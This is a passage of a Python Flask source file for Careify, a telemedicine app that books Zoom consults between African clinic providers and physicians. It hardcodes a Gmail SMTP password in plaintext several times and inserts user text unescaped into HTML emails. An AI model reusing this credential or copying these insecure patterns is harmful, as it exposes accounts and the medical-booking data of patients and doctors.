db.Column(db.Boolean, default=False)\n\t# mon_end = db.Column(db.DateTime)\n\t# tue_start = db.Column(db.DateTime)\n\t# tue_end = db.Column(db.DateTime)\n\t# wed_start = db.Column(db.DateTime)\n\t# wed_end = db.Column(db.DateTime)\n\t# thr_start = db.Column(db.DateTime)\n\t# thr_end = db.Column(db.DateTime)\n\t# fri_start = db.Column(db.DateTime)\n\t# fri_end = db.Column(db.DateTime)\n\t# sat_start = db.Column(db.DateTime)\n\t# sat_end = db.Column(db.DateTime)\n\t# sun_start = db.Column(db.DateTime)\n\t# sun_end = db.Column(db.DateTime)\n\t#schedule = db.relationship('Doctor', foreign_keys='Schedule.schedule_id')\n\n##################################################################################################\n#User Loader & Login Functions\n##################################################################################################\n\n@login_manager.user_loader\ndef load_user(user_id):\n\treturn User.query.get(int(user_id))\n\ndef require_role(role):\n\tdef decorator(func):\n\t\t@wraps(func)\n\t\tdef wrapped_function(*args, **kwargs):\n\t\t\tif not current_user.type==role:\n\t\t\t\treturn redirect(\"/\")\n\t\t\telse:\n\t\t\t\treturn func(*args, **kwargs)\n\t\treturn wrapped_function\n\treturn decorator\n\n##################################################################################################\n#Creating Forms for Log In and Sign Up\n##################################################################################################\n\nclass LoginForm(FlaskForm):\n\temail = StringField('email', validators=[InputRequired(), Length(min=4, max=50)])\n\tpassword = PasswordField('password', validators=[InputRequired(), Length(min=8, max=100)])\n\tremember = BooleanField('remember me')\n\nclass LoginFormDoctor(FlaskForm):\n\temail = StringField('email', validators=[InputRequired(), Length(min=4, max=50)])\n\tpassword = PasswordField('password', validators=[InputRequired(), Length(min=8, max=100)])\n\tremember = BooleanField('remember me')\n\nclass RegisterForm(FlaskForm):\n\tfname = StringField('First Name', validators=[InputRequired(), Length(max=30)])\n\tlname = StringField('Last Name', validators=[InputRequired(), Length(max=30)])\n\temail = StringField('email', validators=[InputRequired(), Email(message='Invalid email'), Length(max=50)])\n\tphoneNumber = StringField('Phone Number', validators=[InputRequired(), Length(10)])\n\tdob = StringField('Date of Birth (mm/dd/yyyy)', validators=[InputRequired(), Length(max=30)])\n\t#username = StringField('username', validators=[InputRequired(), Length(min=4, max=15)])\n\tpassword = PasswordField('password', validators=[InputRequired(), Length(min=8, max=100)])\n\ttimezoneList = list(pytz.all_timezones_set)\n\ttimezoneList.sort()\n\ttimezone = SelectField('Timezone', choices = timezoneList, validators=[InputRequired(), Length(min=8, max=100)])\n\tgtnClinicList = ['Kenya Clinic #1', \"Uganda Clinic #1\"] ##### SHOULD BE CHANGED AND UPDATED AS NECESSARY ##################\n\tgtnclinic = SelectField('GTN Clinic', choices = gtnClinicList, validators=[InputRequired(), Length(min=1, max=100)])\n\tgtncode = StringField('GTN 10-digit Code (provided by GTN)', validators=[InputRequired(), Length(min=9, max=10)])\n\nclass RegisterFormDoctor(FlaskForm):\n\tfname = StringField('First Name', validators=[InputRequired(), Length(min=2, max=30)])\n\tlname = StringField('Last Name', validators=[InputRequired(), Length(min=2, max=30)])\n\temail = StringField('Email (**please make sure this is the same email registered with Zoom**)', validators=[InputRequired(), Email(message='Invalid email'), Length(max=50)])\n\tphoneNumber = StringField('Phone Number', validators=[InputRequired(), Length(max=10)])\n\tdob = StringField('Date of Birth (mm/dd/yyyy)', validators=[InputRequired(), Length(max=30)])\n\timg = FileField('Add Headshot')\n\t#username = StringField('username', validators=[InputRequired(), Length(min=4, max=15)])\n\tnpi = StringField('NPI number', validators=[InputRequired(), Length(10)])\n\t#specialty = StringField('Specialty', validators=[InputRequired(), Length(min=4, max=80)])\n\tpracticeName = StringField('Practice Name', validators=[InputRequired(), Length(min=4, max=80)])\n\tzoomlink = StringField('HIPPA Compliant Personal Meeting Room (PMI) Zoom Link (example: https://zoom.us/j/1234567899)', validators=[InputRequired(), Length(min=10, max=50)])\n\tpassword = PasswordField('password', validators=[InputRequired(), Length(min=8, max=100)])\n\t#specialtyList = [\"El Sobrante Sikh Gurudwara\", \"San Diego Gurudwara\", \"Moraga Catholic Church\", \"Newport Beach Jewish Synagogue\", \"Alameda Mosque\"]\n\tspecialtyList = ['', 'Pathology', 'Anesthesiology', 'Cardiology', 'Cardiovascular/Thoracic Surgery', 'Clinical Immunology/Allergy', 'Critical Care', \n\t\t'Dermatology', 'Radiology', 'Emergency Medicine', 'Endocrinology', 'Family Medicine', 'Gastroenterology', 'General Internal Medicine', 'General Surgery', \n\t\t'Geriatric Medicine', 'Hematology', 'Hematology & Oncology', 'Medical Genetics', 'Infectious Diseases', 'Oncology', 'Nephrology', 'Neurology', \n\t\t'Neurosurgery', 'Nuclear Medicine', 'Obstetrics/Gynecology', 'Occupational Medicine', 'Ophthalmology', 'Orthopedic Surgery', 'Otolaryngology', 'Pediatrics', \n\t\t'Physical Medicine and Rehabilitation (PM & R)', 'Plastic Surgery', 'Psychiatry', 'Psychology', 'Public Health and Preventive Medicine (PhPm)', \n\t\t'Radiation Oncology', 'Respirology', 'Rheumatology', 'Urology']\n\ttimezoneList = list(pytz.all_timezones_set)\n\ttimezoneList.sort()\n\tspecialty = SelectField('Specialty', choices = specialtyList, validators=[InputRequired(), Length(min=8, max=100)])\n\ttimezone = SelectField('Timezone', choices = timezoneList, validators=[InputRequired(), Length(min=8, max=100)])\n\tmalpractice = RadioField('malpractice', choices=[(0,'I have comprehensive malpractice coverage'),(1,'I do not have comprehensive malpractice coverage')], validators=[InputRequired()])\n\tgtncode = StringField('GTN 10-digit Code (provided by GTN)', validators=[InputRequired(), Length(min=9, max=10)])\n\nclass RegisterFormDoctorLiability(FlaskForm):\n\tliability = StringField ('Type your full name below (acknowledgement of liability)', validators=[InputRequired()])\n\n\n# class RegisterFormDoctorCommunities(FlaskForm):\n# \t#communitiesList = [r[0] for r in db.session.query(Communities).filter(id>0).values('community')]\n# \t#communitiesList = [comm.community for comm in db.session.query(Communities).all()]\n# \tcomm1 = SelectField(u'Community #1', validators=[Length(min=1, max=130)], default='-')\n# \tcomm2 = SelectField(u'Community #2', validators=[Length(min=1, max=130)], default='-')\n# \tcomm3 = SelectField(u'Community #3', validators=[Length(min=1, max=130)], default='-')\n# \tadded_community = StringField('Add a Community')\n\nclass ScheduleForm(FlaskForm):\n\tdef createTimeList():\n\t\tstart = '6:00AM'\n\t\tdt = datetime.datetime.strptime(start, '%I:%M%p')\n\t\tdtstr = datetime.datetime.strftime(dt, '%I:%M%p')\n\t\tlistOfDates = ['-']\n\t\tfor i in range(0, 24*4):\n\t\t\tnewDate = dt + datetime.timedelta(hours=i*0.25)\n\t\t\tdtstr = datetime.datetime.strftime(newDate, '%I:%M%p')\n\t\t\tlistOfDates.append(dtstr)\n\t\treturn listOfDates\n\n\ttimeList = createTimeList()\n\trepeat = RadioField('repeat', choices=[(0,'week'),(1,'other week')])\n\tmon_start = SelectField(u'Start Time', choices = timeList, default='-')\n\tmon_end = SelectField(u'End Time', choices = timeList, default='-')\n\ttue_start = SelectField(u'Start Time', choices = timeList, default='-')\n\ttue_end = SelectField(u'End Time', choices = timeList, default='-')\n\twed_start = SelectField(u'Start Time', choices = timeList, default='-')\n\twed_end = SelectField(u'End Time', choices = timeList, default='-')\n\tthu_start = SelectField(u'Start Time', choices = timeList, default='-')\n\tthu_end = SelectField(u'End Time', choices = timeList, default='-')\n\tfri_start = SelectField(u'Start Time', choices = timeList, default='-')\n\tfri_end = SelectField(u'End Time', choices = timeList, default='-')\n\tsat_start = SelectField(u'Start Time', choices = timeList, default='-')\n\tsat_end = SelectField(u'End Time', choices = timeList, default='-')\n\tsun_start = SelectField(u'Start Time', choices = timeList, default='-')\n\tsun_end = SelectField(u'End Time', choices = timeList, default='-')\n\nclass SearchForm(FlaskForm):\n\tspecialtyList = ['', 'Pathology', 'Anesthesiology', 'Cardiology', 'Cardiovascular/Thoracic Surgery', 'Clinical Immunology/Allergy', 'Critical Care', \n\t\t'Dermatology', 'Radiology', 'Emergency Medicine', 'Endocrinology', 'Family Medicine', 'Gastroenterology', 'General Internal Medicine', 'General Surgery', \n\t\t'Geriatric Medicine', 'Hematology', 'Hematology & Oncology', 'Medical Genetics', 'Infectious Diseases', 'Oncology', 'Nephrology', 'Neurology', \n\t\t'Neurosurgery', 'Nuclear Medicine', 'Obstetrics/Gynecology', 'Occupational Medicine', 'Ophthalmology', 'Orthopedic Surgery', 'Otolaryngology', 'Pediatrics', \n\t\t'Physical Medicine and Rehabilitation (PM & R)', 'Plastic Surgery', 'Psychiatry', 'Psychology', 'Public Health and Preventive Medicine (PhPm)', \n\t\t'Radiation Oncology', 'Respirology', 'Rheumatology', 'Urology']\n\turgencyList = ['', 'Within 6 hours', 'Within 12 hours', 'Within 24 hours', 'Within 48 hours', 'Within 72 hours', 'Within 1 week']\n\t#specialty = SelectField('Specialty', choices = specialtyList)\n\tspecialty = SelectField(u'Specialty', validators=[Length(min=0, max=130)], default='')\n\t#comm = SelectField(u'Community', validators=[Length(min=1, max=130)], default='-') #CHANGE TO TIMING (6hr, 12hr, 24hr, 48hr, 72hr, 1 week) ####\n\turgency = SelectField('Time Urgency', choices=urgencyList, validators=[Length(min=0, max=130)], default='')\n\nclass BookingForm(FlaskForm):\n\ttime = RadioField('time', validators=[InputRequired()])\n\tdescription = TextAreaField('Brief Reason for Consultation', validators=[InputRequired(), Length(min=1, max=250)])\n\nclass SpecialtyHelp(FlaskForm):\n\tdescription = TextAreaField('Description of Problem and Reason for Consult', validators=[InputRequired(), Length(min=1, max=400)])\n\nclass PlaceHolderForm(FlaskForm):\n\tplaceholder = StringField('Placeholder')\n\n\n\n##################################################################################################\n#Website Routes\n##################################################################################################\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n\tform = SearchForm()\n\tbook_form = SearchForm()\n\t#form.comm.choices = [comm.community for comm in db.session.query(Communities).all()]\n\tform.specialty.choices = [''] + list(set([doc.specialty for doc in db.session.query(Doctor).all()])) + ['Not sure']\n\tfilteredDoctors = db.session.query(Doctor).all()\n\tsoonestAvailability = []\n\tcurrTimeUTC = getCurrentServerUTCTime();\n\n\tif form.validate_on_submit():\n\t\tif current_user.is_authenticated==False:\n\t\t\treturn redirect(url_for('login'))\n\t\tsp = form.specialty.data\n\t\turgencyString = form.urgency.data\n\n\t\tif sp=='Not sure':\n\t\t\tprint('\\n' + \"Not sure\" + '\\n')\n\t\t\treturn redirect(url_for('specialty_help'))\n\n\t\tif sp != '' and urgencyString != '':\n\t\t\tfilteredDoctorIdSpecialty = [doc.id for doc in db.session.query(Doctor).filter_by(specialty=sp).all()]\n\t\t\tfilteredDoctorIdUrgency = filteredDoctorIdsUrgency(urgencyString)\n\t\t\tfilteredDoctorIds = [doc for doc in filteredDoctorIdSpecialty if doc in filteredDoctorIdUrgency]\n\t\t\tfilteredDoctors = []\n\t\t\tfor doc_id in filteredDoctorIds:\n\t\t\t\tfilteredDoctors.append(db.session.query(Doctor).filter_by(id=doc_id).first())\n\t\t\t\tlocalTimeAvailability = getDoctorAvailability(doc_id, 1)[0][0]\n\t\t\t\tutcTimeAvailability = changeToUTC(localTimeAvailability)\n\t\t\t\ttimeDelta = utcTimeAvailability - currTimeUTC\n\t\t\t\tsoonestAvailability.append(timeDelta.days*24 + (timeDelta.seconds // 3600))\n\n\t\telif sp == '' and urgencyString != '':\n\t\t\tfilteredDoctorIdUrgency = filteredDoctorIdsUrgency(urgencyString)\n\t\t\tfilteredDoctors = []\n\t\t\tfor doc_id in filteredDoctorIdUrgency:\n\t\t\t\tfilteredDoctors.append(db.session.query(Doctor).filter_by(id=doc_id).first())\n\t\t\t\tlocalTimeAvailability = getDoctorAvailability(doc_id, 1)[0][0]\n\t\t\t\tutcTimeAvailability = changeToUTC(localTimeAvailability)\n\t\t\t\ttimeDelta = utcTimeAvailability - currTimeUTC\n\t\t\t\tsoonestAvailability.append(timeDelta.days*24 + (timeDelta.seconds // 3600))\n\n\t\telif sp != '' and urgencyString == '':\n\t\t\tfilteredDoctorIdSpecialty = [doc.id for doc in db.session.query(Doctor).filter_by(specialty=sp).all()]\n\t\t\tfilteredDoctors = []\n\t\t\tfor doc_id in filteredDoctorIdSpecialty:\n\t\t\t\tfilteredDoctors.append(db.session.query(Doctor).filter_by(id=doc_id).first())\n\t\t\t\tlocalTimeAvailability = getDoctorAvailability(doc_id, 1)[0][0]\n\t\t\t\tutcTimeAvailability = changeToUTC(localTimeAvailability)\n\t\t\t\ttimeDelta = utcTimeAvailability - currTimeUTC\n\t\t\t\tsoonestAvailability.append(timeDelta.days*24 + (timeDelta.seconds // 3600))\n\t\telse:\n\t\t\tfilteredDoctors = db.session.query(Doctor).all()\n\t\t\tfor doc in filteredDoctors:\n\t\t\t\tlocalTimeAvailability = getDoctorAvailability(doc.id, 1)[0][0]\n\t\t\t\tutcTimeAvailability = changeToUTC(localTimeAvailability)\n\t\t\t\ttimeDelta = utcTimeAvailability - currTimeUTC\n\t\t\t\tsoonestAvailability.append(timeDelta.days*24 + (timeDelta.seconds // 3600))\n\n\t\treturn render_template('index.html', filteredDoctors=filteredDoctors, soonestAvailability=soonestAvailability, form=form)\n\n\tif book_form.is_submitted():\n\t\tif current_user.is_authenticated:\n\t\t\tdoctor_id = request.form.get('action')\n\t\t\tsession['doctor_id'] = doctor_id;\n\t\telse:\n\t\t\treturn redirect(url_for('login'))\n\t\treturn redirect(url_for('booking', doctor_id=doctor_id))\n\n\treturn render_template('index.html', filteredDoctors=filteredDoctors, soonestAvailability=soonestAvailability, form=form)\n\n\n@app.route('/specialty_help', methods=['GET', 'POST'])\n@login_required\n@require_role('patient')\ndef specialty_help():\n\tform = SpecialtyHelp()\n\tspecialtyList = ['', 'Pathology', 'Anesthesiology', 'Cardiology', 'Cardiovascular/Thoracic Surgery', 'Clinical Immunology/Allergy', 'Critical Care', \n\t\t'Dermatology', 'Radiology', 'Emergency Medicine', 'Endocrinology', 'Family Medicine', 'Gastroenterology', 'General Internal Medicine', 'General Surgery', \n\t\t'Geriatric Medicine', 'Hematology', 'Hematology & Oncology', 'Medical Genetics', 'Infectious Diseases', 'Oncology', 'Nephrology', 'Neurology', \n\t\t'Neurosurgery', 'Nuclear Medicine', 'Obstetrics/Gynecology', 'Occupational Medicine', 'Ophthalmology', 'Orthopedic Surgery', 'Otolaryngology', 'Pediatrics', \n\t\t'Physical Medicine and Rehabilitation (PM & R)', 'Plastic Surgery', 'Psychiatry', 'Psychology', 'Public Health and Preventive Medicine (PhPm)', \n\t\t'Radiation Oncology', 'Respirology', 'Rheumatology', 'Urology']\n\tif form.validate_on_submit():\n\t\t## send email to gtn with description\n\t\tdescription_txt = form.description.data\n\t\tspecialty_txt = ', '.join(specialtyList)\n\t\tlp_email = current_user.email\n\n\t\t[intro_text,ending_text] = get_emailText(lp_email, specialty_txt)\n\t\thtml_email_msg = '<html>  <body>  <font size=\"4\" face=\"Arial\" >      <style>      table {        border-collapse: collapse;      }      th, td {        border: 1px solid black;        padding: 10px;        text-align: right;      }    </style>    <p>    <br>'+intro_text+' <br><br> '+description_txt+' <br><br>'+ending_text+'</p>  </body></html>'\n\n\t\ttolist = ['gtn.careify@gmail.com']\n\t\tcclist = ['armaanj2016@gmail.com', lp_email]\n\t\tbcclist = []\n\n\t\tport = 465  # For SSL\n\t\tsmtp_server = \"smtp.gmail.com\"\n\t\tsender_email = \"gtn.careify@gmail.com\"  # Enter your address\n\n\t\ttoaddrs = tolist + cclist + bcclist\n\n\t\tpassword='gtn-admin2022!'\n\n\t\tmessage = MIMEMultipart(\"mixed\")\n\t\tmessage[\"Subject\"] = 'Careify: Request for Physician Matching'\n\t\tmessage[\"From\"] = sender_email\n\t\tmessage[\"To\"] = ', '.join(tolist)\n\n\t\t# Turn these into html MIMEText objects)\n\t\tpart = MIMEText(html_email_msg, \"html\")\n\t\tmessage.attach(part)\n\n\t\t # Create secure connection with server and send email\n\t\tcontext = ssl.create_default_context()\n\t\twith smtplib.SMTP_SSL(\"smtp.gmail.com\", 465, context=context) as server:\n\t\t\tserver.login(sender_email, password)\n\t\t\tserver.sendmail(sender_email, toaddrs, message.as_string())\n\n\t\treturn redirect(url_for('index'))\n\n\treturn render_template('specialty_help.html', form=form)\n\n# @app.route('/', methods=['GET', 'POST'])\n# def index():\n# \tform = SearchForm()\n# \tbook_form = SearchForm()\n# \tform.comm.choices = [comm.community for comm in db.session.query(Communities).all()]\n# \tform.specialty.choices = [''] + list(set([doc.specialty for doc in db.session.query(Doctor).all()]))\n# \tfilteredDoctors = db.session.query(Doctor).all()\n\n# \tif form.validate_on_submit():\n# \t\tsp = form.specialty.data\n# \t\tcommString = form.comm.data\n\n# \t\tif sp != '' and commString != '-':\n# \t\t\tcomm_id = db.session.query(Communities.id).filter_by(community=commString).first()[0]\n# \t\t\tfilteredDoctorIdSpecialty = [doc.id for doc in db.session.query(Doctor).filter_by(specialty=sp).all()]\n# \t\t\tfilteredDoctorIdCommunity = [doc.doctor_id for doc in db.session.query(Doctor_Communities).filter_by(community_id=comm_id).all()]\n# \t\t\tfilteredDoctorIds = [doc for doc in filteredDoctorIdSpecialty if doc in filteredDoctorIdCommunity]\n# \t\t\tfilteredDoctors = []\n# \t\t\tfor doc_id in filteredDoctorIds:\n# \t\t\t\tfilteredDoctors.append(db.session.query(Doctor).filter_by(id=doc_id).first())\n\n# \t\telif sp == '' and commString != '-':\n# \t\t\tcomm_id = db.session.query(Communities.id).filter_by(community=commString).first()[0]\n# \t\t\tfilteredDoctorIdCommunity = [doc.doctor_id for doc in db.session.query(Doctor_Communities).filter_by(community_id=comm_id).all()]\n# \t\t\tfilteredDoctors = []\n# \t\t\tfor doc_id in filteredDoctorIdCommunity:\n# \t\t\t\tfilteredDoctors.append(db.session.query(Doctor).filter_by(id=doc_id).first())\n\n# \t\telif sp != '' and commString == '-':\n# \t\t\tfilteredDoctorIdSpecialty = [doc.id for doc in db.session.query(Doctor).filter_by(specialty=sp).all()]\n# \t\t\tfilteredDoctors = []\n# \t\t\tfor doc_id in filteredDoctorIdSpecialty:\n# \t\t\t\tfilteredDoctors.append(db.session.query(Doctor).filter_by(id=doc_id).first())\n# \t\telse:\n# \t\t\tfilteredDoctors = db.session.query(Doctor).all()\n\n# \t\treturn render_template('index.html', filteredDoctors=filteredDoctors, form=form)\n\n# \tif book_form.is_submitted():\n# \t\tif current_user.is_authenticated:\n# \t\t\tdoctor_id = request.form.get('action')\n# \t\t\tsession['doctor_id'] = doctor_id;\n# \t\telse:\n# \t\t\treturn redirect(url_for('login'))\n# \t\treturn redirect(url_for('booking', doctor_id=doctor_id))\n\n# \treturn render_template('index.html', filteredDoctors=filteredDoctors, form=form)\n\n@app.route('/logout')\n@login_required\ndef logout():\n\tlogout_user()\n\treturn redirect(url_for('index'))\n\nif __name__ == '__main__':\n\t#app.run(host='0.0.0.0', port=5000, debug=True)\n\tapp.run(debug=True)\n\n\n##################################################################################################\n#Patient-Specific Website Routes\n##################################################################################################\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n\tform = LoginForm()\n\n\tif form.validate_on_submit():\n\t\tuser = Patient.query.filter_by(email=form.email.data).first()\n\t\tif user:\n\t\t\tif check_password_hash(user.password, form.password.data):\n\t\t\t\tlogin_user(user, remember=form.remember.data)\n\t\t\t\treturn redirect(url_for('patient_dashboard'))\n\n\t\treturn '<h1>Invalid username or password</h1>'\n\t\t#return '<h1>' + form.username.data + ' ' + form.password.data + '</h1>'\n\n\treturn render_template('login.html', form=form)\n\n@app.route('/signup', methods=['GET', 'POST'])\ndef signup():\n\tform = RegisterForm()\n\n\tif form.validate_on_submit():\n\t\tif (form.gtncode.data != GTN_CODE):\n\t\t\treturn render_template('signup.html', form=form)\n\t\tuser = Patient.query.filter_by(email=form.email.data).first()\n\t\tif not user:\n\t\t\thashed_password = generate_password_hash(form.password.data, method='sha256')\n\t\t\tnew_user = User(type='patient')\n\t\t\tnew_patient = Patient(id=new_user.id, fname=form.fname.data, lname=form.lname.data, email=form.email.data, phoneNumber=form.phoneNumber.data, dob=form.dob.data, password=hashed_password, timezone=form.timezone.data, gtnclinic=form.gtnclinic.data, userType='patient')\n\t\t\tdb.session.add(new_user)\n\t\t\tdb.session.add(new_patient)\n\t\t\tdb.session.commit()\n\t\t\tlogin_user(new_patient)\n\n\t\t\t############ SEND EMAIL TO GTN HERE##############\n\t\t\tlp_name = current_user.fname + ' ' + current_user.lname\n\t\t\tlp_email = current_user.email\n\t\t\tintro_text = 'Dear GTN, <br><br>A user with the name ' + lp_name + ' has registered as a local provider. Their email is ' + lp_email + '. This is just an automated message. No action is required.'\n\t\t\tending_text = 'Sincerely,' + '<br>' + 'The Careify Team'\n\n\t\t\thtml_email_msg = '<html>  <body>  <font size=\"4\" face=\"Arial\" >      <style>      table {        border-collapse: collapse;      }      th, td {        border: 1px solid black;        padding: 10px;        text-align: right;      }    </style>    <p>    <br>'+intro_text+' <br><br> '+ending_text+'</p>  </body></html>'\n\n\t\t\ttolist = ['gtn.careify@gmail.com']\n\t\t\tcclist = ['armaanj2016@gmail.com']\n\t\t\tbcclist = []\n\n\t\t\tport = 465  # For SSL\n\t\t\tsmtp_server = \"smtp.gmail.com\"\n\t\t\tsender_email = \"gtn.careify@gmail.com\"  # Enter your address\n\n\t\t\ttoaddrs = tolist + cclist + bcclist\n\n\t\t\tpassword='gtn-admin2022!'\n\n\t\t\tmessage = MIMEMultipart(\"mixed\")\n\t\t\tmessage[\"Subject\"] = 'Careify: New Local Provider Registered'\n\t\t\tmessage[\"From\"] = sender_email\n\t\t\tmessage[\"To\"] = ', '.join(tolist)\n\n\t\t\t# Turn these into html MIMEText objects)\n\t\t\tpart = MIMEText(html_email_msg, \"html\")\n\t\t\tmessage.attach(part)\n\n\t\t\t # Create secure connection with server and send email\n\t\t\tcontext = ssl.create_default_context()\n\t\t\twith smtplib.SMTP_SSL(\"smtp.gmail.com\", 465, context=context) as server:\n\t\t\t\tserver.login(sender_email, password)\n\t\t\t\tserver.sendmail(sender_email, toaddrs, message.as_string())\n\n\t\telse:\n\t\t\tredirect(url_for('login'))\n\n\t\treturn redirect(url_for('patient_dashboard'))\n\t\t#return '<h1>' + form.username.data + ' ' + form.email.data + ' ' + form.password.data + '</h1>'\n\n\treturn render_template('signup.html', form=form)\n\n\n@app.route('/booking', methods=['GET', 'POST'])\ndef booking():\n\tform = BookingForm()\n\tdescription=None\n\tform.time.choices = getDoctorAvailability(session['doctor_id'], 10) #function that returns list of top 10 upcoming times (in local time)\n\n\t# try:\n\t# \tzoomJSON = createZoomJSON('Patient1', 'armaanj2016@gmail.com', 'This is a test', 'Dr. Sumer Johal', 'sumer.johal@gmail.com', '2022-02-05 02:00:00')\n\t# \tresponseJSON = createMeeting(zoomJSON)\n\t# \tzoomLink = responseJSON['join_url']\n\t# \tprint(zoomLink)\n\t# except:\n\t# \tprint(\"failed\")\n\n\tif form.validate_on_submit():\n\t\tdt = changeToUTC(datetime.datetime.strptime(form.time.data, '%Y-%m-%d %H:%M:%S'))\n\t\tdescription = form.description.data\n\t\tzoomLink = db.session.query(Doctor.zoomlink).filter(Doctor.id==session['doctor_id']).first()[0]\n\n\t\t#Zoom stuff\n\t\t# ProviderName = 'Dr. ' + db.session.query(Doctor.fname).filter_by(id=session['doctor_id']).first()[0] + ' ' + db.session.query(Doctor.lname).filter_by(id=session['doctor_id']).first()[0]\n\t\t# ProviderEmail = db.session.query(Doctor.email).filter_by(id=session['doctor_id']).first()[0]\n\t\t# startTimeUTC = datetime.datetime.strftime(dt, '%Y-%m-%dT%H:%M:%S')\n\t\t# try:\n\t\t# \tzoomJSON = createZoomJSON(current_user.fname, current_user.email, description, ProviderName, ProviderEmail, startTimeUTC)\n\t\t# \tresponseJSON = createMeeting(zoomJSON)\n\t\t# \tzoomLink = responseJSON['join_url']\n\t\t# except:\n\t\t# \tzoomLink = \"Error: Email not registered with zoom.\"\n\n\t\tprint('\\n' + zoomLink + '\\n')\n\t\tdb.session.query(Schedule).filter_by(timeAvailable=dt, doctor_id=session['doctor_id']).update({'booked': True, 'patient_id': current_user.id, 'description': description, 'zoom': zoomLink})\n\t\tdb.session.commit()\n\n\t\t############ SEND EMAIL TO GTN ##############\n\t\tdoc = db.session.query(Doctor).filter(Doctor.id==session['doctor_id']).first()\n\t\tcp_name = doc.fname + ' ' + doc.lname\n\t\tlp_name = current_user.fname + ' ' + current_user.lname\n\t\tcp_email = doc.email\n\n\t\tintro_text = 'Dear GTN, <br><br>A local provider with the name ' + lp_name + '(email: ' + current_user.email + ') has booked an appointment with a consulting physician with the name ' + cp_name + '(email: ' + cp_email + '). The booking is for ' + FancyDateTime(dt) + ' and needs to be approved by the consulting physician. This is just an automated message. No action is required.'\n\t\tending_text = 'Sincerely,' + '<br>' + 'The Careify Team'\n\t\thtml_email_msg = '<html>  <body>  <font size=\"4\" face=\"Arial\" >      <style>      table {        border-collapse: collapse;      }      th, td {        border: 1px solid black;        padding: 10px;        text-align: right;      }    </style>    <p>    <br>'+intro_text+' <br><br> '+ending_text+'</p>  </body></html>'\n\t\ttolist = ['gtn.careify@gmail.com']\n\t\tcclist = ['armaanj2016@gmail.com']\n\t\tbcclist = []\n\t\tport = 465  # For SSL\n\t\tsmtp_server = \"smtp.gmail.com\"\n\t\tsender_email = \"gtn.careify@gmail.com\"  # Enter your address\n\t\ttoaddrs = tolist + cclist + bcclist\n\t\tpassword='gtn-admin2022!'\n\t\tmessage = MIMEMultipart(\"mixed\")\n\t\tmessage[\"Subject\"] = 'Careify: New Booking Requested!'\n\t\tmessage[\"From\"] = sender_email\n\t\tmessage[\"To\"] = ', '.join(tolist)\n\t\t# Turn these into html MIMEText objects)\n\t\tpart = MIMEText(html_email_msg, \"html\")\n\t\tmessage.attach(part)\n\t\t # Create secure connection with server and send email\n\t\tcontext = ssl.create_default_context()\n\t\twith smtplib.SMTP_SSL(\"smtp.gmail.com\", 465, context=context) as server:\n\t\t\tserver.login(sender_email, password)\n\t\t\tserver.sendmail(sender_email, toaddrs, message.as_string())\n\n\t\t############ SEND EMAIL TO CP ###############\n\t\tintro_text = 'Dear Dr. ' + cp_name + ', <br><br>A GTN local provider with the name ' + lp_name + '(email: ' + current_user.email + ') has booked an consultation appointment with you on ' + FancyDateTime(dt) + '. Please accept this consult request by logging into Careify at URLHERE, navigating to your dashboard, and clicking the red accept button next to the corresponding request.' + '<br><br>' + 'Here is google calendar link to add this consult to your calendar. It includes the zoom link for the consult.' + '<br><br>' + 'If you have any questions or concerns, please email gt.careify@gmail.com'\n\t\tending_text = 'Sincerely,' + '<br>' + 'The Careify Team'\n\t\thtml_email_msg = '<html>  <body>  <font size=\"4\" face=\"Arial\" >      <style>      table {        border-collapse: collapse;      }      th, td {        border: 1px solid black;        padding: 10px;        text-align: right;      }    </style>    <p>    <br>'+intro_text+' <br><br> '+ending_text+'</p>  </body></html>'\n\t\ttolist = [cp_email]\n\t\tcclist = ['armaanj2016@gmail.com']\n\t\tbcclist = []\n\t\tport = 465  # For SSL\n\t\tsmtp_server = \"smtp.gmail.com\"\n\t\tsender_email = \"gtn.careify@gmail.com\"  # Enter your address\n\t\ttoaddrs = tolist + cclist + bcclist\n\t\tpassword='gtn-admin2022!'\n\t\tcpmessage = MIMEMultipart(\"mixed\")\n\t\tcpmessage[\"Subject\"] = 'Careify: URGENT! Accept New Consult Request from GTN Local Provider'\n\t\tcpmessage[\"From\"] = sender_email\n\t\tcpmessage[\"To\"] = ', '.join(tolist)\n\t\t# Turn these into html MIMEText objects)\n\t\tpart = MIMEText(html_email_msg, \"html\")\n\t\tcpmessage.attach(part)\n\t\t # Create secure connection with server and send email\n\t\tcontext = ssl.create_default_context()\n\t\twith smtplib.SMTP_SSL(\"smtp.gmail.com\", 465, context=context) as server:\n\t\t\tserver.login(sender_email, password)\n\t\t\tserver.sendmail(sender_email, toaddrs, cpmessage.as_string())\n\n\t\t#flash(\"Your booking is confirmed\")\n\t\treturn redirect(url_for('patient_dashboard'))\n\n\treturn render_template('booking.html', form=form, description=description)\n\n\n@app.route('/patient_dashboard')\n@login_required\n@require_role('patient')\ndef patient_dashboard():\n\tdoctorList = []\n\tdtList = []\n\tzoomList = []\n\ttupleList = []\n\tacceptedList = []\n\n\tdoctorListPrev = []\n\tdtListPrev = []\n\tzoomListPrev = []\n\ttupleListPrev = []\n\tacceptedListPrev = []\n\n\tupcomingSessions = db.session.query(Schedule).filter(Schedule.patient_id==current_user.id, Schedule.timeAvailable>=getCurrentServerUTCTime()).all()\n\tfor sessions in upcomingSessions:\n\t\tdoctorList.append(db.session.query(Doctor).filter_by(id=sessions.doctor_id).first())\n\t\tdtList.append(FancyDateTime(sessions.timeAvailable))\n\t\tzoomList.append(sessions.zoom)\n\t\tacceptedList.append(sessions.accepted)\n\tfor x in range(len(doctorList)):\n\t\ttupleList.append((doctorList[x], dtList[x], zoomList[x], acceptedList[x]))\n\n\tpreviousSessions = db.session.query(Schedule).filter(Schedule.patient_id==current_user.id, Schedule.timeAvailable<=getCurrentServerUTCTime()).all()\n\tfor sessions in previousSessions:\n\t\tdoctorListPrev.append(db.session.query(Doctor).filter_by(id=sessions.doctor_id).first())\n\t\tdtListPrev.append(FancyDateTime(sessions.timeAvailable))\n\t\tzoomListPrev.append(sessions.zoom)\n\t\tacceptedListPrev.append(sessions.accepted)\n\tfor x in range(len(doctorListPrev)):\n\t\ttupleListPrev.append((doctorListPrev[x], dtListPrev[x], zoomListPrev[x], acceptedListPrev[x]))\n\n\treturn render_template('patient_dashboard.html', name=current_user.fname, tupleList=tupleList, tupleListPrev=tupleListPrev)\n\n\n@app.route('/dashboard')\n@login_required\ndef dashboard():\n\treturn render_template('dashboard.html', name=current_user.fname)\n\n##################################################################################################\n#Doctor-Specific Website Routes\n##################################################################################################\n\n@app.route('/doc_login', methods=['GET', 